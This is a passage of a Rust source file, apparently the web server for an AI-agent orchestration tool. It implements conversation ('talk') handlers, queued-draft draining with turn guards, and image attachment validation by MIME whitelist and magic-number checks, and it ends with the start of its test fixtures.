6172        blocking(move || {
6173            let talk = ui.talks.get(&id)?;
6174            let (cfg, _) = Config::discover(&talk.repo, None)?;
6175            Ok((talk, cfg))
6176        })
6177        .await?
6178    };
6179
6180    let talks = ui.talks.clone();
6181    // `record` runs *inside* the spawned task, rather than in this handler
6182    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6183    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6184    // doc), and that drop can land at any `.await` this function makes,
6185    // including one that has already produced its result but not yet
6186    // resumed. A message could end up recorded on disk with the handler
6187    // future gone before it ever reached the `tokio::spawn` that would have
6188    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6189    // that hands the whole future to the runtime as one unit - once made, no
6190    // later drop of *this* handler's own future (that call's return value is
6191    // never held onto here) can reach back in and stop it, so record and the
6192    // hand-off to `respond` are unconditionally atomic from the client's
6193    // point of view. The immediate response this handler owes the caller
6194    // travels back over a `oneshot`, sent the moment `record` succeeds.
6195    let (tx, rx) = tokio::sync::oneshot::channel();
6196    tokio::spawn({
6197        let ui = Arc::clone(&ui);
6198        let talks = talks.clone();
6199        let id = id.clone();
6200        let said = body.text.clone();
6201        let mut talk = talk.clone();
6202        async move {
6203            let recorded = blocking({
6204                let talks = talks.clone();
6205                move || {
6206                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6207                        if let Ok(fresh) = talks.get(&talk.id) {
6208                            if !fresh.status.open() {
6209                                return Err(ApiError::conflict(format!(
6210                                    "talk {} is {} and takes no more turns",
6211                                    fresh.short(),
6212                                    fresh.status.as_str()
6213                                )));
6214                            }
6215                        }
6216                        return Err(ApiError::from(error));
6217                    }
6218                    // `record` mutates `talk` in place to the freshly persisted
6219                    // state (status, pending, and the just-appended operator
6220                    // turn), so returning it here is equivalent to re-reading it
6221                    // from disk - without the extra round trip a re-read would
6222                    // need.
6223                    Ok((said.trim().to_owned(), talk))
6224                }
6225            })
6226            .await;
6227            let (text, mut talk) = match recorded {
6228                Ok(pair) => pair,
6229                Err(e) => {
6230                    // Nobody is listening if the handler's own future was
6231                    // already dropped - that is fine, there is no response
6232                    // left to carry this error to and nothing was persisted.
6233                    let _ = tx.send(Err(e));
6234                    return;
6235                }
6236            };
6237            let queued = talk.clone();
6238            let thinking = ui.is_thinking(&id);
6239            // If this fails, the caller is gone; the turn still runs below
6240            // exactly as it would have for a caller that stayed connected.
6241            let _ = tx.send(Ok((queued, thinking)));
6242
6243            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
6244                // `respond` records the failure in the transcript itself,
6245                // which is what the phone reads; this line is for the
6246                // operator's terminal.
6247                tracing::warn!("talk {id} turn failed: {e:#}");
6248            }
6249            // Anything `talk::queue` added while the turn above was running
6250            // is still owed an answer - see `drain_loop`.
6251            drain_loop(talk, talks, cfg, id, turn_guard).await;
6252        }
6253    });
6254
6255    let (queued, thinking) = rx
6256        .await
6257        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6258
6259    // 202: the operator's message is recorded and a turn is running.
6260    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6261}
6262
6263/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
6264/// changing it. The turn guard is the same per-talk ownership `talk_say`
6265/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
6266async fn talk_pending_resume(
6267    State(ui): State<Arc<Ui>>,
6268    Path(id): Path<String>,
6269) -> ApiResult<(StatusCode, Json<TalkView>)> {
6270    let id = {
6271        let ui = Arc::clone(&ui);
6272        let asked = id.clone();
6273        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6274    };
6275    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6276        return Err(ApiError::conflict(
6277            "a talk turn is already running; the queued draft will be handled by it",
6278        ));
6279    };
6280    let (talk, cfg) = {
6281        let ui = Arc::clone(&ui);
6282        let id = id.clone();
6283        blocking(move || {
6284            let talk = ui.talks.get(&id)?;
6285            if !talk.status.open() {
6286                return Err(ApiError::conflict(format!(
6287                    "talk {} is {} and takes no more turns",
6288                    talk.short(),
6289                    talk.status.as_str()
6290                )));
6291            }
6292            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6293                return Err(ApiError::conflict("there is no queued draft to resume"));
6294            }
6295            let (cfg, _) = Config::discover(&talk.repo, None)?;
6296            Ok((talk, cfg))
6297        })
6298        .await?
6299    };
6300    let view = TalkView::new(talk.clone(), true);
6301    let talks = ui.talks.clone();
6302    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6303    Ok((StatusCode::ACCEPTED, Json(view)))
6304}
6305
6306/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
6307/// releasing `turn` only once a check finds it truly empty. Shared by both
6308/// callers that can end up owning a talk's turn slot with something already
6309/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
6310/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
6311/// holder just gave up - see the comment at that call site.
6312///
6313/// The release is folded into the final generation check under `turn`'s own
6314/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
6315/// free". Before its blocking `talk::drain`, this loop observes the queued
6316/// generation. A `say` that sees the turn busy writes its draft, then advances
6317/// that generation. Thus, if it lands while the drain is in flight, the final
6318/// check observes the advance and drains again; otherwise it releases the
6319/// claim while holding the same lock. This keeps the release/arrival handoff
6320/// atomic without holding the global claim mutex across filesystem I/O.
6321async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6322    let live_set = Arc::clone(&turn.turns);
6323    // `Option` rather than binding `turn` directly to a `_turn` that lives
6324    // for the whole function: releasing it has to happen by calling
6325    // `TalkTurnGuard::release` from inside the locked branch below, which
6326    // takes `self` by value. Left as a plain drop instead, `Drop` would still
6327    // remove the id - correctly, if this loop is ever left some other way -
6328    // but doing it there misses the lock this loop is already holding, which
6329    // is the exact gap `release` exists to close.
6330    let mut turn = Some(turn);
6331    loop {
6332        // `talk::drain` takes the store lock and can write/rename the talk
6333        // file. Keep the turn mutex out of that synchronous work: it protects
6334        // every talk's in-memory claim, not this talk's disk operation.
6335        let observed = live_set
6336            .lock()
6337            .unwrap_or_else(PoisonError::into_inner)
6338            .queued
6339            .get(&id)
6340            .copied()
6341            .unwrap_or(0);
6342        let drained = blocking({
6343            let talks = talks.clone();
6344            move || {
6345                let result = talk::drain(&mut talk, &talks);
6346                Ok((talk, result))
6347            }
6348        })
6349        .await;
6350        let (next_talk, result) = match drained {
6351            Ok(drained) => drained,
6352            Err(e) => {
6353                tracing::warn!(
6354                    status = %e.status,
6355                    message = %e.message,
6356                    "talk {id} could not start queued-text drain"
6357                );
6358                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6359                turn.take()
6360                    .expect("held for the whole loop until released here")
6361                    .release(&mut live);
6362                break;
6363            }
6364        };
6365        talk = next_talk;
6366        let drained = match result {
6367            Ok(Some(drained)) => drained,
6368            Ok(None) => {
6369                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6370                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6371                    continue;
6372                }
6373                turn.take()
6374                    .expect("held for the whole loop until released here")
6375                    .release(&mut live);
6376                break;
6377            }
6378            Err(e) => {
6379                tracing::warn!("talk {id} could not drain queued text: {e:#}");
6380                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6381                turn.take()
6382                    .expect("held for the whole loop until released here")
6383                    .release(&mut live);
6384                break;
6385            }
6386        };
6387        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6388            tracing::warn!("talk {id} turn failed: {e:#}");
6389        }
6390    }
6391}
6392
6393/// Clear a queued draft only if it remains exactly the one the caller saw.
6394async fn talk_pending_clear(
6395    State(ui): State<Arc<Ui>>,
6396    Path(id): Path<String>,
6397    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6398) -> ApiResult<Json<TalkView>> {
6399    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6400    blocking(move || {
6401        let id = resolve_talk(&ui.talks, &id)?;
6402        let mut talk = ui.talks.get(&id)?;
6403        if !talk.status.open() {
6404            return Err(ApiError::conflict(format!(
6405                "talk {} is {} and takes no more turns",
6406                talk.short(),
6407                talk.status.as_str()
6408            )));
6409        }
6410        if !talk::clear_pending_if_matches(
6411            &mut talk,
6412            &ui.talks,
6413            &body.expected_text,
6414            &body.expected_attachments,
6415        )? {
6416            return Err(ApiError::conflict(
6417                "queued message changed; reload it before clearing",
6418            ));
6419        }
6420        let thinking = ui.is_thinking(&talk.id);
6421        Ok(Json(TalkView::new(talk, thinking)))
6422    })
6423    .await
6424}
6425
6426/// Atomically edit a queued draft's text while preserving its attachments.
6427/// The snapshot fields make a concurrent queue or drain a conflict rather
6428/// than silently discarding either message.
6429async fn talk_pending_edit(
6430    State(ui): State<Arc<Ui>>,
6431    Path(id): Path<String>,
6432    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6433) -> ApiResult<Json<TalkView>> {
6434    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6435    let (view, reclaimed) = blocking({
6436        let ui = Arc::clone(&ui);
6437        move || {
6438            let id = resolve_talk(&ui.talks, &id)?;
6439            let mut talk = ui.talks.get(&id)?;
6440            if !talk.status.open() {
6441                return Err(ApiError::conflict(format!(
6442                    "talk {} is {} and takes no more turns",
6443                    talk.short(),
6444                    talk.status.as_str()
6445                )));
6446            }
6447            if !talk::edit_pending_text(
6448                &mut talk,
6449                &ui.talks,
6450                &body.text,
6451                &body.expected_text,
6452                &body.expected_attachments,
6453            )? {
6454                return Err(ApiError::conflict(
6455                    "queued message changed; reload it before editing",
6456                ));
6457            }
6458            let claim = match ui.begin_queued_talk_turn(&id)? {
6459                Some(turn_guard) => {
6460                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6461                    Some((talk.clone(), cfg, id.clone(), turn_guard))
6462                }
6463                None => None,
6464            };
6465            let thinking = ui.is_thinking(&id);
6466            Ok((TalkView::new(talk, thinking), claim))
6467        }
6468    })
6469    .await?;
6470    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6471        let talks = ui.talks.clone();
6472        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6473    }
6474    Ok(Json(view))
6475}
6476
6477/// The body of `POST /api/talks/{id}/agent`.
6478#[derive(Debug, Deserialize)]
6479struct TalkAgent {
6480    agent: String,
6481}
6482
6483/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
6484/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
6485/// start a turn on the old session between the check and the write; one that
6486/// arrives in that window finds the talk busy and becomes a draft.
6487async fn talk_agent(
6488    State(ui): State<Arc<Ui>>,
6489    Path(id): Path<String>,
6490    Json(body): Json<TalkAgent>,
6491) -> ApiResult<Json<TalkView>> {
6492    let id = {
6493        let ui = Arc::clone(&ui);
6494        blocking(move || resolve_talk(&ui.talks, &id)).await?
6495    };
6496    let repo = {
6497        let ui = Arc::clone(&ui);
6498        let id = id.clone();
6499        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6500    };
6501    let cfg = config_for(&repo).await?;
6502    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6503        return Err(ApiError::conflict(
6504            "a talk turn is running; change the agent once it has answered",
6505        ));
6506    };
6507    let switched = {
6508        let ui = Arc::clone(&ui);
6509        let id = id.clone();
6510        let cfg = cfg.clone();
6511        blocking(move || {
6512            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6513                .map_err(ApiError::bad_request_from)?;
6514            let mut talk = ui.talks.get(&id)?;
6515            if !talk.status.open() {
6516                return Err(ApiError::conflict(format!(
6517                    "talk {} is {} and takes no more turns",
6518                    talk.short(),
6519                    talk.status.as_str()
6520                )));
6521            }
6522            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6523            Ok(talk)
6524        })
6525        .await
6526    };
6527    // A `/say` that landed while this held the claim saw the talk busy and
6528    // left a durable draft, trusting the claim's owner to drain it. So the
6529    // claim goes to `drain_loop` whatever the outcome - it releases at once
6530    // when nothing is queued - rather than being dropped here.
6531    let fresh = {
6532        let ui = Arc::clone(&ui);
6533        let id = id.clone();
6534        blocking(move || Ok(ui.talks.get(&id)?)).await
6535    };
6536    let draining = match fresh {
6537        Ok(talk) => {
6538            let draining = talk.status.open()
6539                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6540            let talks = ui.talks.clone();
6541            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6542            draining
6543        }
6544        Err(_) => false,
6545    };
6546    let talk = switched?;
6547    Ok(Json(TalkView::new(talk, draining)))
6548}
6549
6550/// `POST /api/talks/{id}/close`.
6551async fn talk_close(
6552    State(ui): State<Arc<Ui>>,
6553    Path(id): Path<String>,
6554) -> ApiResult<Json<TalkView>> {
6555    blocking(move || {
6556        let id = resolve_talk(&ui.talks, &id)?;
6557        let mut talk = ui.talks.get(&id)?;
6558        talk::close(&mut talk, &ui.talks)?;
6559        let thinking = ui.is_thinking(&talk.id);
6560        Ok(Json(TalkView::new(talk, thinking)))
6561    })
6562    .await
6563}
6564
6565/// `POST /api/talks/{id}/reopen`.
6566async fn talk_reopen(
6567    State(ui): State<Arc<Ui>>,
6568    Path(id): Path<String>,
6569) -> ApiResult<Json<TalkView>> {
6570    blocking(move || {
6571        let id = resolve_talk(&ui.talks, &id)?;
6572        let mut talk = ui.talks.get(&id)?;
6573        talk::reopen(&mut talk, &ui.talks)?;
6574        let thinking = ui.is_thinking(&talk.id);
6575        Ok(Json(TalkView::new(talk, thinking)))
6576    })
6577    .await
6578}
6579
6580/// `DELETE /api/talks/{id}`.
6581///
6582/// Removes the conversation's record and artifacts outright, unlike
6583/// [`talk_close`] which keeps the record as history. A turn already in
6584/// flight is not refused here the way [`run_delete`] refuses a live run:
6585/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
6586/// under [`Talks::guard`], that the record they are about to write back is
6587/// still there, so a delete racing a turn is safe without this route having
6588/// to know a turn is running at all.
6589async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6590    blocking(move || {
6591        let id = resolve_talk(&ui.talks, &id)?;
6592        ui.talks.remove(&id)?;
6593        Ok(StatusCode::NO_CONTENT)
6594    })
6595    .await
6596}
6597
6598/// Expand an id or short id to exactly one talk id.
6599fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6600    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6601}
6602
6603/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
6604/// future `talk-say`.
6605async fn talk_attachment_post(
6606    State(ui): State<Arc<Ui>>,
6607    Path(id): Path<String>,
6608    headers: HeaderMap,
6609    body: Bytes,
6610) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6611    let mime = validate_attachment(&headers, &body)?;
6612    let name = filename_header(&headers);
6613    let data = body.to_vec();
6614    blocking(move || {
6615        let id = resolve_talk(&ui.talks, &id)?;
6616        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6617        Ok((StatusCode::CREATED, Json(att)))
6618    })
6619    .await
6620}
6621
6622/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
6623/// `<img>` tag in the transcript.
6624async fn talk_attachment_get(
6625    State(ui): State<Arc<Ui>>,
6626    Path((id, att)): Path<(String, String)>,
6627) -> ApiResult<Response> {
6628    blocking(move || {
6629        let id = resolve_talk(&ui.talks, &id)?;
6630        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6631            return Err(ApiError::not_found(format!(
6632                "talk {id} has no attachment `{att}`"
6633            )));
6634        };
6635        Ok(attachment_response(&meta.mime, data))
6636    })
6637    .await
6638}
6639
6640/// Validate an attachment upload's declared `Content-Type` and the bytes
6641/// themselves, returning the canonical mime on success.
6642///
6643/// Two checks, both required: the header has to name one of
6644/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
6645/// simply never in the list, active content rather than a picture, the same
6646/// exclusion [`asset_content_type`]'s doc explains), and the file's own
6647/// magic number has to agree. The second is what stops a mislabeled upload -
6648/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
6649/// a declared type is a claim, not a fact, so it is never trusted alone.
6650fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6651    if data.len() > ATTACHMENT_MAX_BYTES {
6652        return Err(ApiError::bad_request(format!(
6653            "attachment is {} bytes, over the {} MiB limit",
6654            data.len(),
6655            ATTACHMENT_MAX_BYTES / (1024 * 1024)
6656        ))
6657        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6658    }
6659    if data.is_empty() {
6660        return Err(ApiError::bad_request("attachment is empty"));
6661    }
6662    let declared = declared_mime(headers)?;
6663    match sniffed_mime(data) {
6664        Some(sniffed) if sniffed == declared => Ok(declared),
6665        Some(sniffed) => Err(ApiError::bad_request(format!(
6666            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6667        ))),
6668        None => Err(ApiError::bad_request(
6669            "the file's bytes do not match any accepted image format",
6670        )),
6671    }
6672}
6673
6674/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
6675/// and nothing else - parameters like `; charset=` are stripped, but the
6676/// value itself is not otherwise interpreted.
6677fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6678    let raw = headers
6679        .get(header::CONTENT_TYPE)
6680        .and_then(|v| v.to_str().ok())
6681        .unwrap_or("")
6682        .split(';')
6683        .next()
6684        .unwrap_or("")
6685        .trim()
6686        .to_ascii_lowercase();
6687    ATTACHMENT_MIME_WHITELIST
6688        .iter()
6689        .find(|&&m| m == raw)
6690        .copied()
6691        .ok_or_else(|| {
6692            if raw == "image/svg+xml" {
6693                ApiError::bad_request(
6694                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
6695                     not just a picture",
6696                )
6697            } else if raw.is_empty() {
6698                ApiError::bad_request("Content-Type is required for an attachment upload")
6699            } else {
6700                ApiError::bad_request(format!(
6701                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6702                     image/gif or image/webp"
6703                ))
6704            }
6705        })
6706}
6707
6708/// Identify an image by its magic number, independent of whatever
6709/// `Content-Type` claimed.
6710fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6711    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6712        Some("image/png")
6713    } else if data.starts_with(b"\xff\xd8\xff") {
6714        Some("image/jpeg")
6715    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6716        Some("image/gif")
6717    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6718        Some("image/webp")
6719    } else {
6720        None
6721    }
6722}
6723
6724/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
6725/// display - see [`talk::Attachment::name`]'s doc on why it never
6726/// contributes to a path. A missing or blank header (curl without it, an
6727/// older front end) falls back to a generic name rather than refusing the
6728/// upload over a field that is cosmetic.
6729fn filename_header(headers: &HeaderMap) -> String {
6730    headers
6731        .get(FILENAME_HEADER)
6732        .and_then(|v| v.to_str().ok())
6733        .map(str::trim)
6734        .filter(|s| !s.is_empty())
6735        .unwrap_or("attachment")
6736        .to_owned()
6737}
6738
6739/// Every attachment `GET` response: the mime re-validated against the same
6740/// closed whitelist the upload route enforces - never the string trusted
6741/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
6742/// cannot decide it knows better than the type we send. Unlike a panel asset
6743/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
6744/// document renders inline, not agent-authored HTML in a sandboxed frame.
6745fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6746    let content_type = ATTACHMENT_MIME_WHITELIST
6747        .iter()
6748        .find(|&&m| m == mime)
6749        .copied()
6750        .unwrap_or("application/octet-stream");
6751    (
6752        [
6753            (header::CONTENT_TYPE, content_type),
6754            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6755        ],
6756        body,
6757    )
6758        .into_response()
6759}
6760
6761/// The configuration for a repository, read off the disk for this request.
6762///
6763/// Through [`blocking`] because discovery reads and merges several TOML files,
6764/// and because the alternative - caching it in [`Ui`] at startup - would mean
6765/// the operator's phone kept interviewing with a roster they had already
6766/// changed, with no way to reload it but restarting the server they are not
6767/// sitting in front of.
6768async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6769    let repo = repo.to_path_buf();
6770    blocking(move || {
6771        let (cfg, _) = Config::discover(&repo, None)?;
6772        Ok(cfg)
6773    })
6774    .await
6775}
6776
6777/// The one prefix rule, used for both runs and tasks: a leading match for a
6778/// full id, a trailing match for the short form an operator reads off a
6779/// report. Written here rather than borrowed from `queue::resolve_id` because
6780/// the UI needs the two failures as different status codes, and telling them
6781/// apart from an error message is not something to build a route on.
6782fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6783    let mut hits = ids
6784        .into_iter()
6785        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6786    match (hits.next(), hits.next()) {
6787        (Some(one), None) => Ok(one),
6788        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6789        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6790            "`{prefix}` matches more than one {what}, including {a} and {b}"
6791        ))),
6792    }
6793}
6794
6795#[cfg(test)]
6796mod tests {
6797
6798    #[test]
6799    fn holder_reads_the_lease_not_the_record() {
6800        let mut q = Question::new(
6801            "run".to_owned(),
6802            "implement".to_owned(),
6803            "impl-A".to_owned(),
6804            "which?".to_owned(),
6805            String::new(),
6806            Vec::new(),
6807        );
6808        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6809        q.cwd = Some("/tmp".to_owned());
6810        assert_eq!(holder_of(&q, None), Some("nobody"));
6811        let beat = |kind, ago: i64| ask::Lease {
6812            kind,
6813            pid: 1,
6814            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6815                .unwrap(),
6816        };
6817        let fresh = beat(ask::WaiterKind::Asker, 1);
6818        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6819        let daemon = beat(ask::WaiterKind::Daemon, 1);
6820        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6821        let stale = beat(ask::WaiterKind::Asker, 3600);
6822        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6823
6824        // A conductor question says "deputy" only while one is attached and
6825        // alive, and "nobody" - never silence - when nothing ever listened.
6826        let mut c = Question::new(
6827            "task".to_owned(),
6828            crate::conduct::NODE.to_owned(),
6829            "conduct".to_owned(),
6830            "which?".to_owned(),
6831            String::new(),
6832            Vec::new(),
6833        );
6834        assert_eq!(holder_of(&c, None), Some("nobody"));
6835        c.cwd = Some("/tmp".to_owned());
6836        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6837        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6838        let deputy = beat(ask::WaiterKind::Deputy, 1);
6839        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6840        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6841
6842        // A release-watch question: nobody until a deputy is attached.
6843        let mut r = Question::new(
6844            String::new(),
6845            crate::bump::NOTICE_NODE.to_owned(),
6846            "release-watch".to_owned(),
6847            "stuck?".to_owned(),
6848            String::new(),
6849            vec!["hold".to_owned()],
6850        );
6851        assert_eq!(holder_of(&r, None), Some("nobody"));
6852        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6853        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6854        // A choice-less bump notice is nobody's question at all.
6855        r.deputy = None;
6856        r.seat = "bump".to_owned();
6857        assert_eq!(holder_of(&r, None), None);
6858
6859        // A merge approval is the same: nobody until a deputy is attached
6860        // and alive, never a silent "no holder".
6861        let mut m = Question::new(
6862            "run".to_owned(),
6863            crate::land::APPROVAL_NODE.to_owned(),
6864            "land".to_owned(),
6865            "merge?".to_owned(),
6866            String::new(),
6867            Vec::new(),
6868        );
6869        assert_eq!(holder_of(&m, None), Some("nobody"));
6870        assert_eq!(
6871            holder_of(&m, Some(&fresh)),
6872            Some("nobody"),
6873            "a lease with no deputy is not a listener"
6874        );
6875        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6876        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6877        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6878        assert_eq!(holder_of(&m, None), Some("nobody"));
6879    }
6880
6881    fn stub_config() -> Config {
6882        // An explicit roster, so the result never depends on which agent CLIs
6883        // this machine has installed.
6884        Config {
6885            agents: vec![crate::config::AgentSpec {
6886                id: "stub".to_owned(),
6887                kind: AgentKind::Command,
6888                model: None,
6889                command: vec!["true".to_owned()],
6890                extra_args: Vec::new(),
6891                env: Default::default(),
6892                prompt_delivery: None,
6893            }],
6894            ..Config::default()
6895        }
6896    }
6897
6898    fn plain_question(seat: &str) -> Question {
6899        Question::new(
6900            String::new(),
6901            "n".to_owned(),
6902            seat.to_owned(),
6903            "s".to_owned(),
6904            String::new(),
6905            Vec::new(),
6906        )
6907    }
6908
6909    #[test]
6910    fn deputies_enabled_follows_the_config() {
6911        let on = stub_config();
6912        assert!(crate::deputy::can_start(Some(&on), ""));
6913        assert!(crate::deputy::can_start(Some(&on), "stub"));
6914        let mut off = on.clone();
6915        off.daemon.max_deputies = 0;
6916        assert!(!crate::deputy::can_start(Some(&off), ""));
6917        let mut empty = on;
6918        empty.agents.clear();
6919        assert!(!crate::deputy::can_start(Some(&empty), ""));
6920        assert!(!crate::deputy::can_start(None, ""));
6921    }
6922
6923    #[test]
6924    fn question_views_load_the_config_once() {
6925        let dir = TempDir::new().unwrap();
6926        let store = ask::Questions::at(dir.path().to_path_buf());
6927        let mut with_deputy = plain_question("b");
6928        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6929        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6930
6931        let calls = std::cell::Cell::new(0usize);
6932        let views = question_views(qs.clone(), &store, || {
6933            calls.set(calls.get() + 1);
6934            Some(stub_config())
6935        });
6936        assert_eq!(calls.get(), 1);
6937        assert_eq!(views.len(), 3);
6938        for (v, q) in views.iter().zip(&qs) {
6939            assert_eq!(
6940                v.deputies_enabled,
6941                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6942            );
6943        }
6944
6945        let views = question_views(qs, &store, || None);
6946        assert!(views.iter().all(|v| !v.deputies_enabled));
6947
6948        let calls = std::cell::Cell::new(0usize);
6949        let views = question_views(Vec::new(), &store, || {
6950            calls.set(calls.get() + 1);
6951            None
6952        });
6953        assert!(views.is_empty());
6954        assert_eq!(calls.get(), 0);
6955    }
6956
6957    use pretty_assertions::assert_eq;
6958    use serde_json::Value;
6959    use tempfile::TempDir;
6960    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6961
6962    use super::*;
6963    use crate::config::Config;
6964    use crate::queue::Source;
6965
6966    /// How many 10ms steps a settle loop takes before it calls a stall a
6967    /// stall - thirty seconds.
6968    ///
6969    /// These loops wait on real `sh` subprocesses, and the machine that runs
6970    /// the gate runs several suites at once, so a two-second budget was not
6971    /// waiting for the reply, it was racing the scheduler: two of these
6972    /// tests failed under that load with the turn simply not landed yet.
6973    /// This is a hang guard, not a latency assertion - every loop breaks the
6974    /// moment its condition holds, so a generous cap costs an idle machine
6975    /// nothing and still fails a genuine hang instead of hanging the suite.
6976    const SETTLE_STEPS: usize = 3_000;
6977
6978    /// A home with a queue and a runs directory, and a router serving it on
6979    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
6980    /// dependency, not ours - so the tests drive a real socket, which has the
6981    /// side benefit of asserting the status line and content types the phone
6982    /// actually receives.
6983    struct Fixture {
6984        home: TempDir,
6985        addr: SocketAddr,
6986    }
6987
6988    impl Fixture {
6989        async fn start() -> Self {
6990            Self::with_loop(launch_idle).await
6991        }
6992
6993        /// A fixture whose loop is `launch`.
6994        async fn with_loop(launch: Launch) -> Self {
6995            let home = TempDir::new().expect("temp home");
6996            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6997            Self { home, addr }
6998        }
6999
7000        /// A fixture whose `ui.repo` is a real directory rather than the
7001        /// usual placeholder - for the routes that read config off it
7002        /// (`GET /api/repos`) and would otherwise have nothing to discover.
7003        async fn with_repo(repo: PathBuf) -> Self {
7004            let home = TempDir::new().expect("temp home");
7005            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7006            Self { home, addr }
7007        }
7008
7009        /// As [`Fixture::with_repo`], with the machine-config file the
7010        /// settings screen reads and writes.
7011        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7012            let home = TempDir::new().expect("temp home");
7013            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7014            Self { home, addr }
7015        }
7016
7017        async fn serve(
7018            home: &FsPath,
7019            repo: PathBuf,
7020            launch: Launch,
7021            machine: Option<PathBuf>,
7022        ) -> SocketAddr {
7023            let queue = Queue::at(home.join("queue"));
7024            let runs = home.join("runs");
7025            std::fs::create_dir_all(&runs).expect("runs dir");
7026            let worktrees = home.join("wt").join("magi");
7027            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7028            let ui = Ui::new(
7029                queue,
7030                Questions::at(home.join("questions")),
7031                Talks::at(home.join("talks")),
7032                runs,
7033                home.to_path_buf(),
7034                repo,
7035            )
7036            .with_worktrees_root(worktrees)
7037            .with_machine_config(machine)
7038            .with_launch(launch);
7039            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7040                .await
